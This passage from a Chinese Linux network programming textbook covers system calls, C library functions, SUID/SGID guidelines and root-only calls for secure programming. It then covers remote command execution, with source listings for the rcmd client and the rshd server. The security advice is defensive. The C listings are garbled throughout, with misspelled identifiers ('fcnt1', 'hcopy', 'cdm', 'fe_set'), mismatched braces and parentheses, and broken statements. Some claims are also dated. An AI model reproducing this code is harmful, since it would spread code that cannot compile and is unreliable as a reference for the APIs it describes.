以免费下载得到,这使得许多人可以研究它,并找出里面的潜在漏洞。过去这种攻击方法 还很少见,而如今却非常普遍。从某种意义上讲,这也是一种好事。因为它可以促进程序 员改正软件错误,也使人们了解一些软件编程的方法。 7.3 Linux 程序员安全 Linux 系统为程序员提供了许多子程序,这些子程序可存取各种安全属性。有些是信 息子程序,返回文件属性、实际的和有效的 UID、GID 等信息。有些子程序可改变文件属、 UID、GID 等;有些处理口令文件和小组文件,还有些完成加密和解密。 本节主要讨论有关系统子程序,标准 C 函数库库子程序的安全,如何写安全的 C 程序 - 212 - Linux网络编程 并从 root 的角度介绍程序设计(仅能被 root 调用的子程序) 7.3.1 系统子程序 下面是和网络安全有关的一些系统子程序。 1.I/O 子程序 (1)creat():建立一个新文件或重写一个暂存文件。 需要两个参数:文件名和存取许可值(8 进方式)。如: /* 建立存取许可方式为 0666 的文件 */ creat("/usr/pat/read_write",0666) 调用此子程序的进程必须要有建立的文件的所在目录的写和执行许可,置给 creat()的 许可方式变量将被 umask()设置的文件建立屏蔽值所修改,新文件的所有者和小组由有效的 UID 和 GID 决定。 返回值为新建文件的文件描述符。 (2)fstat():见后面的 stat() (3)open():在 C 程序内部打开文件。 需要两个参数:文件路径名和打开方式(I,O,I&O)。 如果调用此子程序的进程没有对于要打开的文件的正确存取许可(包括文件路径上所 有目录分量的搜索许可),将会引起执行失败。如果此子程序被调用去打开不存在的文件, 除非设置了 O_CREAT 标志,调用将不成功。此时,新文件的存取许可作为第三个参数(可 被用户的 umask 修改)。 当文件被进程打开后再改变该文件或该文件所在目录的存取许可,不影响对该文件的 I/O 操作。 (4)read():从已由 open()打开并用作输入的文件中读信息。 它并不关心该文件的存取许可。一旦文件作为输入打开,即可从该文件中读取信息。 (5)write():输出信息到已由 open()打开并用作输出的文件中。 同 read()一样,它也不关心该文件的存取许可。 2.进程控制 (1)exec()族:包括 execl(),execv(),execle(),execve(),execlp()和 execvp()。 可将一可执行模快拷贝到调用进程占有的存贮空间。正被调用进程执行的程序将不复 存在,新程序取代其位置。 这是 UNIX 系统中一个程序被执行的唯一方式:用将执行的程序复盖原有的程序。 安全注意事项: 实际的和有效的 UID 和 GID 被传递给由 exec()调入的不具有 SUID 和 SGID 许可 的程序。 如果由 exec()调入的程序有 SUID 和 SGID 许可,则有效的 UID 和 GID 将设置给 该程序的所有者或小组。 文件建立屏蔽值将传递给新程序。 除设了对 exec()关闭标志的文件外,所有打开的文件都传递给新程序。用 fcntl()子 程序可设置对 exec()的关闭标志。 (2)fork():用来建立新进程。其建立的子进程是与调用 fork()的进程(父进程)完全 相同的拷贝(除了进程号外) 安全注意事项: 子进程将继承父进程的实际和有效的 UID 和 GID。 子进程继承文件方式建立屏蔽值。 第七章 网络安全性 - 213 - 所有打开的文件传给子进程。 (3)signal():允许进程处理可能发生的意外事件和中断。 需要两个参数:信号编号和信号发生时要调用的子程序。 信号编号定义在 signal.h 中。 信号发生时要调用的子程序可由用户编写,也可用系统给的值,如:SIG_IGN,则信 号将被忽略,SIG_DFL 则信号将按系统的缺省方式处理。 如许多与安全有关的程序禁止终端发中断信息(BREAK 和 DELETE),以免自己被用 户终端终止运行。 有些信号使 UNIX 系统的产生进程的核心转储(进程接收到信号时所占内存的内容, 有时含有重要信息),此系统子程序可用于禁止核心转储。 3.文件属性 (1)access():检测指定文件的存取能力是否符合指定的存取类型。 需要两个参数:文件名和要检测的存取类型(整数)。 存取类型定义如表 7-1: 表 7-1 acess()存取类型定义 0 检查文件是否存在 1 检查是否可执行(搜索) 2 检查是否可写 3 检查是否可写和执行 4 检查是否可读 5 检查是否可读和执行 6 检查是否可读可写可执行 这些数字的意义和 chmod 命令中规定许可方式的数字意义相同。 此子程序使用实际的 UID 和 GID 检测文件的存取能力(一般有效的 UID 和 GID 用于 检查文件存取能力)。 返回值为 0 表示许可,-1 表示不许可。 (2)chmod():将指定文件或目录的存取许可方式改成新的许可方式。 需要两个参数:文件名和新的存取许可方式。 (3) chown():同时改变指定文件的所有者和小组的 UID 和 GID。 注意,chown()函数与 shell 中的 chown 命令的功能不同。 由于此子程序可以同时改变文件的所有者和组,故必须要取消所操作文件的 SUID 和 SGID 许可,以防止用户建立 SUID 和 SGID 程序,然后运行 chown()调用去获得别人的权 限。 (4)stat():返回文件的状态(属性)。 需要两个参数:文件路径名和一个结构指针,该结构指针被用来指向状态信息的存放 的位置。 结构定义见表 7-2: 表 7- 2 结构定义 st_mode 文件类型和存取许可方式 st_ino Inode 节点号 st_dev 文件所在设备的 ID st_rdev 特别文件的 ID st_nlink 文件链接数 st_uid 文件所有者的 UID st_gid 文件组的 GID - 214 - Linux网络编程 st_size 按字节计数的文件大小 st_atime 最后存取时间(读) st_mtime 最后修改时间(写)和最后状态的改变 st_ctime 最后的状态修改时间 返回值为 0 表示成功,1 表示失败 (5)umask():将调用进程及其子进程的文件建立屏蔽值设置为指定的存取许可。 需要一个参数:新的文件建立屏值。 4.UID 和 GID 的处理 (1)getuid():返回进程的实际 UID。 (2)getgid():返回进程的实际 GID。 以上两个子程序可用于确定是谁在运行进程。 (3)geteuid():返回进程的有效 UID。 (4)getegid():返回进程的有效 GID。 以上两个子程序在一个程序不得不确定它是否在运行某用户而不是运行它本来的用户 的 SUID 程序时非常有用,可调用它们来检查确认本程序的确是以该用户的 SUID 许可在 运行。 (5)setuid():用于改变有效的 UID。 对于一般用户,此子程序仅对要在有效和实际的 UID 之间变换的 SUID 程序才有用(从 原有效 UID 变换为实际 UID),以保护进程不受到安全危害。实际上该进程不再是 SUID 方 式运行。 (6)setgid():用于改变有效的 GID。 7.3.2 标准 C函数库 下面是一些经常使用的与安全有关的标准 C 函数。 1.标准 I/O 这些函数被用来进行基本的 I/O 操作。 (1)fopen():打开一个文件供读或写,安全方面的考虑同 open()一样。 (2)fread(),getc(),fgetc(),gets(),scanf()和 fscanf():从已由 fopen()打开供读的文 件中读取信息。它们并不关心文件的存取许可。这一点同 read()系统调用非常的类似,请 读者注意。 (3)fwrite()、put()、fputc()、puts、fputs()、printf()、fprintf():写信息到已由 fopen() 打开供写的文件中。 它们也不关心文件的存取许可。同 write()。 (4)getpass():从终端上读至多 8 个字符长的口令,不回显用户输入的字符。 需要一个参数:提示信息。 该子程序将提示信息显示在终端上,禁止字符回显功能,从/dev/tty 读取口令,然后再 恢复字符回显功能,返回刚敲入的口令的指针。 (5)popen():将在“ 运行 shell” 那节中介绍。 2./etc/passwd 处理 有一组子程序可对/etc/passwd 文件进行方便的存取,可对文件读取到入口项或写新的 入口项或更新等等。 (1)getpwuid():从/etc/passwd 文件中获取指定的 UID 的入口项。 (2)getpwnam():对于指定的登录名,在/etc/passwd 文件检索入口项。 以上两个子程序返回一指向 passwd 结构的指针,该结构定义在/usr/include/pwd。h 中, 第七章 网络安全性 - 215 - 定义如下: struct passwd char * pw_name; /* 登录名 */ char * pw_passwd; /* 加密后的口令 */ uid_t pw_uid; /* UID */ gid_t pw_gid; /* GID */ char * pw_age; /* 代理信息 */ char * pw_comment; /* 注释 */ char * pw_gecos; char * pw_dir; /* 主目录 */ char * pw_shell; /* 使用的 shell */ }; (3)getpwent(),setpwent(),endpwent():对口令文件作后续处理。 首次调用 getpwent(),打开/etc/passwd 并返回指向文件中第一个入口项的指针,保持 调用之间文件的打开状态。 再调用 getpwent()可顺序地返回口令文件中的各入口项。 调用 setpwent()把口令文件的指针重新置为文件的开始处。 使用完口令文件后调用 endpwent()关闭口令文件。 (4)putpwent():修改或增加/etc/passwd 文件中的入口项。 此子程序将入口项写到一个指定的文件中,一般是一个临时文件,直接写口令文件是 很危险的。最好在执行前做文件封锁,使两个程序不能同时写一个文件。算法如下: 建立一个独立的临时文件,即/etc/passnnn,nnn 是 PID 号。 建立新产生的临时文件和标准临时文件/etc/ptmp 的链,若建链失败,则为有人正 在使用/etc/ptmp,等待直到/etc/ptmp 可用为止或退出。 将/etc/passwd 拷贝到/etc/ptmp,可对此文件做任何修改。 将/etc/passwd 移到备份文件/etc/opasswd。 建立/etc/ptmp 和/etc/passwd 的链。 断开/etc/passnnn 与/etc/ptmp 的链。 注意:临时文件应建立在/et c 目录,才能保证文件处于同一文件系统中,建链才能成功,且临时文 件不会不安全。此外,若新文件已存在,即便建链的是 root 用户,也将失败,从而保证了一旦临时文件 成功地建链后没有人能再插进来干扰。当然,使用临时文件的程序应确保清除所有临时文件,正确地捕捉 信号。 3./et c/group 的处理 有一组类似于前面的子程序处理/etc/group 的信息,使用时必须用#include 语句将 /usr/include/grp.h 文件加入到自己的程序中。该文件定义了 group 结构,将由 getgrnam(), getgrgid(),getgrent()返回 group 结构指针。 (1)getgrnam():在/etc/group 文件中搜索指定的小组名,然后返回指向小组入口项的 指针。 (2)getgrgid():类似于前一子程序,不同的是搜索指定的 GID。 (3)getgrent():返回 group 文件中的下一个入口项。 (4)setgrent():将 group 文件的文件指针恢复到文件的起点。 (5)endgrent():用于完成工作后,关闭 group 文件。 (6)getuid():返回调用进程的实际 UID。 (7)getpruid():以 getuid()返回的实际 UID 为参数,确定与实际 UID 相应的登录名, - 216 - Linux网络编程 或指定一 UID 为参数。 (8)getlogin():返回在终端上登录的用户的指针。 系统依次检查 STDIN,STDOUT ,STDERR 是否与终端相联,与终端相联的标准输 入用于确定终端名,终端名用于查找列于/etc/utmp 文件中的用户,该文件由 login 维护, 由 who 程序用来确认用户。 (9 ) cuserid() : 首 先 调 用 getlogin() ,若 getlogin() 返 回 NULL 指 针, 再 调 用 etpwuid(getuid())。 以下为 shell 命令: (10)logname:列出登录进终端的用户名。 (11)who am i:显示出运行这条命令的用户的登录名。 (12)id:显示实际的 UID 和 GID(若有效的 UID 和 GID 和实际的不同时也显示有 效的(UID 和 GID)和相应的登录名)。 4.加密子程序 1977 年 1 月,NBS 宣布一个用于美国联邦政府 ADP 系统的网络的标准加密法:数据 加密标准即 DES 用于非机密应用方面。DES 一次处理 64BITS 的块,56 位的加密键。 (1)setkey(),encrypt():提供用户对 DES 的存取。 此两子程序都取 64BITS长的字符数组,数组中的每个元素代表一个位,为 0或1。setkey() 设置将按 DES 处理的加密键,忽略每第 8 位构成一个 56 位的加密键。encrypt()然后加密或 解密给定的 64BITS 长的一块,加密或解密取决于该子程序的第二个变元,0:加密 1:解 密。 (2)crypt():是 UNIX 系统中的口令加密程序,也被/usr/lib/makekey 命令调用。 crypt()子程序与 crypt 命令无关,它与/usr/lib/makekey 一样取 8 个字符长的关键词,2 个 salt 字符。关键词送给 setkey(),salt 字符用于混合 encrypt() 中的 DES 算法,最终调用 encrypt()重复 25 次加密一个相同的字符串。 返回加密后的字符串指针。 5.运行 shell 下面这两个函数被用来在程序中运行 shell 命令: (1)system():运行/bin/sh 执行其参数指定的命令,当指定命令完成时返回。 (2) popen():类似于 system(),不同的是命令运行时,其标准输入或输出联到由 popen() 返回的文件指针。 二者都调用 fork(),exec(),popen()还调用 pipe(),完成各自的工作,因而 fork()和 exec() 的安全方面的考虑开始起作用。 7.3.3 书写安全的 C程序 一般有两方面的安全问题,在写程序时必须考虑: 1.确保自己建立的任何临时文件不含有机密数据,如果有机密数据,设置临时文件仅 对自己可读/写。确保建立临时文件的目录仅对自己可写。 2.确保自己要运行的任何命令(通过 system(),popen(),execlp(),execvp()运行的命令) 的确是自己要运行的命令,而不是其它什么命令,尤其是自己的程序为 SUID 或 SGID 许 可时要小心。 第一方面比较简单,在程序开始前调用 umask(077)。若要使文件对其他人可读,可再 调 chmod(),也可用下述语名建立一个"不可见"的临时文件。 creat("/tmp/xxx",0); file=open("/tmp/xxx",O_RDWR); 第七章 网络安全性 - 217 - unlink("/tmp/xxx"); 文件/tmp/xxx 建立后,打开,然后断开链,但是分配给该文件的存储器并未删除,直 到最终指向该文件的文件通道被关闭时才被删除。打开该文件的进程和它的任何子进程都 可存取这个临时文件,而其它进程不能存取该文件,因为它在/tmp 中的目录项已被 unlink() 删除。 第二方面比较复杂而微妙,由于 system(),popen(),execlp(),execvp()执行时,若不给 出执行命令的全路径,就能"骗"用户的程序去执行不同的命令。因为系统子程序是根据 PATH 变量确定哪种顺序搜索哪些目录,以寻找指定的命令,这称为 SUID 陷井。最安全的办法 是在调用 system()前将有效 UID 改变成实际 UID,另一种比较好的方法是以全路径名命令 作为参数。execl(),execv(),execle(),execve()都要求全路径名作为参数。有关 SUID 陷井 的另一方式是在程序中设置 PATH,由于 system()和 popen()都启动 shell,故可使用 shell 句 法。如: system("PATH=/bin:/usr/bin cd"); 这样允许用户运行系统命令而不必知道要执行的命令在哪个目录中,但这种方法不能 用于 execlp(),execvp()中,因为它们不能启动 shell 执行调用序列传递的命令字符串。 再强调一次:在通过自己的程序运行另一个程序前,应将有效 UID 改为实际的 UID, 等另一个程序退出后,再将有效 UID 改回原来的有效 UID 7.3.4 SUI D/SGI D程序指导准则 以下是书写 SUID 和 SFID 程序时应该注意的安全准则: 1.不要写 SUID/SGID 程序,大多数时候无此必要。 2.设置 SGID 许可,不要设置 SUID 许可。应独自建立一个新的小组。 3.不要用 exec()执行任何程序。记住 exec()也被 system()和 popen()调用。 若要调用 exec()(或 system(),popen()),应事先用 setgid()(getgid())将有效 GID 置加实际 GID。 若不能用 setgid(),则调用 system()或 popen()时,应设置 IFS: popen("IFS=\t\n;export IFS;/bin/ls","r"); 使用要执行的命令的全路径名。 若不能使用全路径名,则应在命令前先设置 PATH: popen("IFS=\t\n;export IFS;PATH=/bin:/usr/bin;/bin/ls","r"); 不要将用户规定的参数传给 system()或 popen();若无法避免则应检查变元字符串中 是否有特殊的 shell 字符。 若用户有个大程序,调用 exec()执行许多其它程序,这种情况下不要将大程序设 置为 SGID 许可。可以写一个(或多个)更小,更简单的 SGID 程序执行必须具有 SGID 许 可的任务,然后由大程序执行这些小 SGID 程序。 4.若用户必须使用 SUID 而不是 SGID,以相同的顺序记住(2),(3)项内容,并相应调 整。不要设置 root 的 SUID 许可。选一个其它户头。 5.若用户想给予其他人执行自己的 shell 程序的许可,但又不想让他们能读该程序, 可将程序设置为仅执行许可,并只能通过自己的 shell 程序来运行。 6.编译,安装 SUID/SGID 程序时应按下面的方法: (1)确保所有的 SUID(SGID)程序是对于小组和其他用户都是不可写的,存取权限 的限制低于 4755(2755)将带来麻烦。只能更严格。4111(2111)将使其他人无法寻找程 序中的安全漏洞。 (2)警惕外来的编码和 make/install 方法。 - 218 - Linux网络编程 某些 make/install 方法不加选择地建立 SUID/SGID 程序。这会极大的威胁系统的安全, 因此,在安装外来的编码时,应该: 检查违背上述指导原则的 SUID/SGID 许可的编码。 检查 makefile 文件中可能建立 SUID/SGID 文件的命令。 7.3.5 root 程序的设计 有若干个子程序可以从有效 UID 为 0 的进程中调用。许多前面提到的子程序,当从 root 进程中调用时,将完成和原来不同的处理。主要是忽略了许可权限的检查。由 root 用户运 行的程序当然是 root 进程(SUID 除外),因有效 UID 用于确定文件的存取权限,所以从具 有 root 的程序中,调用 fork()产生的进程,也是 root 进程。 1.setuid():从 root 进程调用 setuid()时,其处理有所不同,setuid()将把有效的和实际 的 UID 都置为指定的值。这个值可以是任何整型数。而对非 root 进程则仅能以实际 UID 或本进程原来有效的 UID 为变量值调用 setuid()。 2.setgid():在系统进程中调用 setgid()时,与 setuid()类似,将实际和有效的 GID 都改 变成其参数指定的值。 调用以上两个子程序时,应当注意下面几点: 调用一次 setuid()(setgid())将同时设置有效和实际 UID(GID),独立分别设置 有效或实际 UID(GID)固然很好,但无法做到这点。 setuid()(setgid())可将有效和实际 UID(GID)设置成任何整型数,其数值不必 一定与/etc/passwd(/etc/group)中用户(小组)相关联。一旦程序以一个用户的 UID 了 setuid(), 该程序就不再做为 root 运行,也不可能再获 root 特权。 3.chown():当 root 进程运行 chown()时,chown()将不删除文件的 SUID 和/或 SGID 许可,但当非 root 进程运行 chown()时,chown()将取消文件的 SUID 和/或 SGID 许可。 4.chroot():改变进程对根目录的概念,调用 chroot()后,进程就不能把当前工作目录 改变到新的根目录以上的任一目录,所有以/开始的路径搜索,都从新的根目录开始。 5.mknod():用于建立一个文件,类似于 creat(),差别是 mknod()不返回所打开文件的 文件描述符,并且能建立任何类型的文件(普通文件,特殊文件,目录文件)。若从非 root 进程调用 mknod()将执行失败,只有建立 FIFO 特别文件(有名管道文件)时例外,其它任 何情况下,必须从 root 进程调用 mknod()。由 creat()仅能建立普通文件,mknod()是建立目 录文件的唯一途径,因而仅有 root 能建立目录,这就是为什么 mkdir 命令具有 SUID 许可 并属 root 所有。一般不从程序中调用 mknod()。通常用/etc/mknod 命令建立特别设备文件而 这些文件一般不能在使用着时建立和删除,mkdir 命令用于建立目录。当用 mknod()建立特 别文件时,应当注意确从所建的特别文件不允许存取内存,磁盘,终端和其它设备。 6.unlink():用于删除文件。参数是要删除文件的路径名指针。当指定了目录时,必 须从 root 进程调用 unlink(),这是必须从 root 进程调用 unlink()的唯一情况,这就是为什么 rmdir 命令具有 root 的 SGID 许可的原因。 7.mount(),umount():由 root 进程调用,分别用于安装和拆卸文件系统。这两个子程 序也被 mount 和 umount 命令调用,其参数基本和命令的参数相同。调用 mount(),需要给 出一个特别文件和一个目录的指针,特别文件上的文件系统就将安装在该目录下,调用时 还要给出一个标识选项,指定被安装的文件系统要被读/写(0)还是仅读(1)。umount()的参数 是要一个要拆卸的特别文件的指针。 第七章 网络安全性 - 219 - 7.4 小结 在本章中我们简要介绍了有关网络安全性的一些知识。网络安全性是一个很大的主题, 我们在这里只能介绍一些基本的知识,如果想对此作更加深入的了解,请参阅有关网络安 全性的其它资料。 - 226 - Linux网络编程 第十章 远程命令执行 10.1 引言 所谓远程命令的执行,是指在本地主机上的一个活动进程能让一个在远程主机上的程 序被执行。4.3 BSD 提供了 rsh 程序,执行它可以激活另外一个系统上的程序,rsh 程序具 有如下的功能:一个进程可以通过远程输入输出命令去激活另外一个系统上的程序(进程)。 我们希望在通常的 Linux 环境下,就能够直接把本地的数据写到远程系统的输入输出 通道中,并且能够直接从远程系统的标准输入通道中读取数据,另外,我们还希望能直接 从远程系统的标准出错通道中读取出错信息。我们必须有效的把标准输入和标准出错这两 类不同的信息流区分开来,否则我们就无法辨认哪个是标准的输入数据,哪个是标准的出 错信息。此外,我们还希望能够向远程进程发信号,此外作为控制远程进程执行的方法, 该控制进程必须在远程主机上运行,因为它必须在该主机上执行 kill 系统调用向远程进程 发信号。 这些要求的关系如图 10-1: 图 10-1 远程命令执行示意 现在我们要讨论两个在远程系统执行中执行这类进程的函数:rcmd 和 rexec,这两者 的区别与用来确认函数调用者在远程系统上执行特定进程的许可权的方法有关,并且这两 个函数是通过激活远程系统上的不同服务器来建立本地进程和远程进程间的通信。 它们的区别如表 10-1。 表 10-1 rcmd 和 rexec 函数的比较 本地主机 上的函数 远程主机 上服务器 区 别 Rcmd() Rshd 调用者必须具有超级用户的权限以便可以在本地主机上 登记一个保留端口。不需要登录名和口令。 第十章 远程命令执行 - 227 - Rexec() Rexecd 为了在远程主机上检验,调用者必须将登录名和口令(登 录时键入的口令字符串)传输给服务器。 10.2 rcmd 函数和 rshd 服务器 rcmd 客户函数以及它对应的 rshd 服务器是 4.3 BSD 系统的关键,许多 4.3 BSD 的“ r” 命令都 调用了 rcmd 函数,如:rlogin 、rcp 、rsh rdist 以及 rdump。 rcmd 函数的原型是: int rcmd (char * * ahost , int remport ,char * cliuname , char * servuame ,char * cmd ,int * sockfd2); 参数 ahost 是指向远程主机名字的地址的指针,主机名字可以通过函数 gethostbyname 查找。由于这是一个指向字符串的指针,因而主机名可以返回给调用者。 rcmd 函数得到一个保留的 TCP 端口,这就意味着调用进程必须拥有超级用户的特权, 远程系统上 rcmd 连接的 TCP 端由 remport 参数指明,rcmd 连接到的进程了解 rcmd 和 rshd 使用的协议。 在调用 rcmd 函数之前的一段典型代码是: # include <netdb.h> struct server * sp; if ( (sp=getservbyname ( “shell”, “tcp”) ) = = NULL) { fprint ( stderr , “shell/tcp: unknown service \n”); exit (1); } remport 参数必须按照网络字节顺序,安排这由库函数 getservbyname 处理。 cliuname 和 servuname 参数分别指明用户名和服务器名,这些登录名由远程系统上的 服务器用来确认用户。 cmd 串含有在远程主机上执行的命令串,rshd 执行此命令串: shell – c cmd 这里,shell 是远程系统口令文件 servuname 项中的外壳域,此域通常指明三个普通的 UNIX 外壳之一。Bourneshell , Cshell 或者 KornShell。因为该命令串由一外壳执行,它可 以含有特殊外壳变形字符,由远程主机上的外壳来解释。 最后一个参数 sockfd2 是指向一整数的指针。若此指针不是 NULL,则 rcmd 函数打开 用进程与控制进程之间的第二套接字,然后通过此指针返回给调用者。若此指针为 NULL, 则远程进程的标准出错复制到标准输出(sockfd1),并且无法向远程进程发信号。这个第 二套接字通过 rcmd 被连接到保留的 TCP 端口,我们把这个 TCP 端口称为辅助端口。 rcmd 函数返回值是套接字描述符 sockfd1,如果出错,则返回-1。 rcmd 函数使用的应用协议见表 10-2。 表 10-2 rcmd 使用的协议 客户—rcmd( ) 服务器—rshd 使用一个保留端口建立一个套接字。连接到 服务器。 接收连接并得到客户的地址,如果用户不连 接到保留口,则终止。 如果辅助端口由调用者请求,则使用一个保 留端口建立一个另套接字。写 ASCII 串指明 辅助端口号。仅写含有终止空字节的空串。 读辅助端口号。如果非零且不在保留端口 范围之内,则终止;如果非零,则使用一个 保留端口建立一个套接字并连接到客户的辅 - 228 - Linux网络编程 助端口。 如果需要辅助端口,接收来自服务器的地 址,且如果服务器为起辅助连接结束未连接 一个保留端口,返回-1 给调用者。写三个 ASCII 串给服务器 cliuname、servuname 和 cmd。 读三个 ASCII 串:客户用户名、服务器用户 名和命令串,确认用户。如果成功,给客户 应答一个值为二进制数字 0 的字节。如果不 成功,则写一个值为二进制数字 1 的字节, 后跟 ASCII 出错信息及换行,并终止。 从服务器读确认状态。如果出错,则读 出错误信息并将它输出到标准出错,然后给 调用者返回-1;如果成功,则给调用者返回 套接字描述符。 服务器建立进程结构:如果需要辅助端口, 建立控制进程,为客户激活外壳来执行客户 命令。 下面是 rcmd 函数的源程序主体,滤去了部分出错处理及部分变量说明: /*返回套接字描述符 sockfd1*/ rcmd (ahost , rport , cliuname , servuname , cmd , sockfd1) char * * ahost ; /* 主机名地址指针*/ u_short rport; /* 服务器端口*/ char * cliuname; /* 客户系统中的用户名*/ char * servuname; /* 服务器系统中的用户名*/ char *cmd; /* 服务器上要执行的命令串*/ int * fd2ptr; /* 指向第二个套接字描述符*/ { int sockfd1,lport; char c; struct sockaddr_in serv_addr,serv2_addr; struct hostent * hp; fe_set readfds; hp=gethostbyname (*ahost); *ahost=hp->h_name; for(;;) { sockfd1=rresvport(&lport); fcnt1( sockfd1,F_SETOWN,getpid( ) ); /* 填充服务器套接字地址并与之连接*/ bzero ( ( char * ) &serv_addr,sizeof(serv_addr) ); serv_addr.sin_family = hp ->h_addrtype; hcopy ( hp->h_addr_list[0], ( caddr_t)&serv_addr.sin_addr,hp ->h_length); serv_addr.sin_port = rport; 第十章 远程命令执行 - 229 - if ( connect (sockfd1, (struct sockaddr * )&serv_addr, sizeof (serv_addr) ) >=0 ) break; /* OK,继续下一步 */ close (sockfd1); /*出错处理(省略)*/ if ( hp ->h_addr_list[1] !=NULL) { /*如果主机另有地址*/ hp ->h_addr_list ++; bcopy (hp ->h_addr_list[0], (caddr_t)&serv_addr.sin_addr,hp ->h_length) ; fprintf (stderr , “Trying %s … \n”, inet_ntoa (serv_addr.sin_addr) ); continue; } } /* end of for */ if ( fd2ptr = = ( int ) 0 ) /* 调用者不使用第二通道*/ { write (sockfd1,“ “,1); lport = 0; } else { lport - -; socktemp = rresvport (&lport); listen (socktemp,1) /* 将含有端口号的 ASCII 串发往服务器*/ sprintf (num, “%d”,lport); write (sockfd1,num,strlen (num) +1); FD_ZERO (&readfds) FD_SET (sockfd1,&readfds); FD_SET (socktemp,&readfds); Select (32,&readfds, (fd_set *) 0,(fd_set *)0, (struct timeval *)0; FD_ISSET( socktemp.&readfds) ; /* 服务器在第二套接字上与客户连接 */ len=sizeof (serv2_addr); sockfd2 =accept (socktemp,& serv2_addr,&len); close (socktemp); fd2ptr = sockfd2; / 返回给调用者 */ serv2_addr.sin_port =ntohs ( (u_short) serv2_addr.sin_port); ) - 230 - Linux网络编程 write (sockfd1,cliuname, strlen(cliuname) +1 ); write (sockfd1,servuname, strlen(servuname) +1 ); write ( sockfd1,cmd , strlen(cdm) +1 ) ; read ( sockfd1,&c,1); if (c ! = 0) /* 未收到应答(),表明服务器出错,从服务器读出错误信息并送往标准出错*/ while ( read (sockfd1,&c,1) = = 1) { write (2,&c,1) ; if ( c= = ‘\n’); break; } } /* end of rcmd*/ 进程控制是由服务器进程 rshd 加以实施的,下面我们先给出 rshd 源程序的大体框架, 然后再讨论。这里滤去了若干变量说明和出错处理。 int one =1; /* main 函数*/ main ( ) { struct sockaddr_in cli_addr; struct linger linger; openlog (“rsh,LOG_PID|LOG_ODELAY,LOG_DAEMON); addrlen = sizeof (cli_addr); getpeername (0,(struct sockaddr *)&cli_addr,&addrlen) ; setsockpt (0,SOL_SOCKET,SO_KEEPALIVE,( char *)*one, sizeof ( one ) ); linger.1_onoff = 1; linger.1_linger = 60; setsockopt (0,SOL_SOCKET,SO_LINGER,(chat *)&linger, sizeof( linger) ); Do (&cli_addr); /* Do 函数不返回*/ } /* do 函数:*/ do (cli_addrp) Struct sockaddr_in * cli _addrp; /* client‘s internet address*/ { signal (SIGINT ,SIG_DFL): signal (SIGQUIT,SLG_DFL); signal (SIGTERM,SIG_DFL); 第十章 远程命令执行 - 231 - if ( cli_addrp ->sin_family ! =AF_INET) exit (1); cli_addrp ->sin_port = ntohs ( (u)short )cli_addrp ->sin_port}; if ( cli_addrp ->sin_port >=IPPORT_RESERVED || cli_addrp ->sin_port< IPPORT_RESERVED/2) exit( 1 ); alarm (60); clisecport = 0; for (;;) { if ( cc =read( 0,&c,1)!=1) { shutdown (0,2); exit(1); } if ( c= = 0 ) break; clisecport=(clisecport * 10)+(c-‘0’); } alarm (0); if ( clisecport ! =0) { if (clisecport >=IPPORT_RESERVED) exit(1); oursecport = IPPCRT_RESERVED – 1; if ( ( sockfd2=rresvport (&oursecport) )<0) exit (1); cli_addrp ->sin_port=htons ( u_short)clisecport}; if ( connect (sockfd2,( struct sockaddr *)cli_addrp, sizeof (* cli_addrp) ) <0) exit(1); } hp= gethostbyname ( ( char* )&cli_addrp ->sin_addr,sizeof (struct in_addr), cli_addrp->sin_family); setpwent( ); if (chdir(pwd->pw_dir) <0) chdir(“/”); if (pwd ->pw_passwd !=NULL& *pwd->pw_passwd !=‘\0’ && ruserok (hostname,pwd ->pa_uid= =0,cliuname,servuname)<0) exit(1); if (pwd->pw_iud !=0&&access(“/etc/nologin”,F_OK) = =0 ) exit (1); /* 向用户回写空字节,表明成功*/ if (write (2,“ ”,1) !=1) exit (1); - 232 - Linux网络编程 if (clisecport ) { if ( pipe (pipefd)<0) exit (1); if ( childpid =fork( ) ) = = -1} exit (1); if (pipefd[0]>sockfd2) maxfdpl=pipefd[ 0 ]; else maxfdpl = sockfd2; maxfdpl ++; if (childpid !=0) { close (0); close (1); close (2); close (pipefd[1]); FD_ZERO(&readfrom); FD_SET(sockfd2,&readfrom); FD_SET(pipefd[0],&readfrom); ioctl( pipefd[0],FIONBIO,(char *)&one); do { Ready=readfrom; if (select (maxfdpl,&ready,(fd_set *)0, (fd_set *)0,(struct timeval *)0)<0) break; if (FD-ISSET(sockfd2,&ready) ) if (read(sockfd2,&sigval,1)<=0) FD-CLR(sockfd2,&readfrom}; else killpg (childpid,sigval); if( FD_ISSET(pipefd[0],&ready ); { cc=read(pipefd[0],buf,sizeof ( buf ); if cc<=0 ) { shutdown (sockfd2,2); FD_CLR( pipefd[0] ,&readfrom ); } else write (sockfd2 ,buf, cc ); )while (FD_ISSET(sockfd2 ,&readfrom ) || FD_ISSET (pipefd[0],&readfrom) ); exit( 0 ); } setpgrp (0, getpid( ) ); 第十章 远程命令执行 - 233 - close ( sockfd2 ); close (pipefd[ 0 ]); dup2 (pipefd [ 1 ],2); close (pipefdp[ 1 ]); } if ( * pwd ->pw_shell = =‘\0’) pwd ->pw_shell =“/bin/sh”; setgid ( ( gid_t)pwd->pwd_gid); initgroups ( pwd ->pw_name,pwd->pw_gid); setuid ( (uid_t)pwd ->pw_uid); ebviron =env_prts; strncat (env_home,pwd->pw_dir,sizeof (env_home) – 6 ); strncat (env_shell,pwd ->pw_shell,sizeof(env_shell) – 7); strncat (env_user ,pwd->name,sizeof(env_user) – 6 ); if ( ( cp = rindex)pwd->pw_shell, ‘/’ ) )!=NULL ) cp ++; else cp =pwd ->pw_shell; execl (pwd->pw_shell,cp, “-c”,cmdbuf , (char *)0 ); exit (1); } 注意,如果 chdir 失败,对指定服务器用户名的主目录的修改会返回一个错误。此外成 为控制进程的循环使用的是 killpg 系统调用给一个指定进程组发信号,这是因为 4.3 BSD 不支持 kill 系统调用给进程组发信号的选择。 当 rcmd 连接 rshd 服务器的时候,4.3 BSD 系统上的 inetd 超级服务器在该端口上侦听 连接请求,通过 fork 和 exec 激活 rshd 服务器,并由 rshd 进程执行外壳程序,然后它又复 制并执行用户命令,这是在远程系统上两次 fork 和三次 exec 的最小情况,是不可避免的。 在 rshd 源代码口应该注意: 子进程建立自身,作为一进程组的头,也即它执行的 shell 和 shell 的任何子程序 均属于同一进程组。这主要是为了满足信号处理的需要。控制进程(rshd 父进程)执行 killpg 系统调用将接收的来自客户的任何信号发给整个进程组,而不仅是启动的 shell 进程。 子进程为由它激活的 shell 建立一个环境表,这与 login 程序调用用户的 shell 前所 做的工作类似,至少在激活用户的 shell 时,应该设置 HOME、USER、和 PATH变量。 本地系统上的客户进程无法得到远程系统上的 shell 的 exit 状态。 10.3 rexec 函数和 rexecd 服务器 rexec 函数和 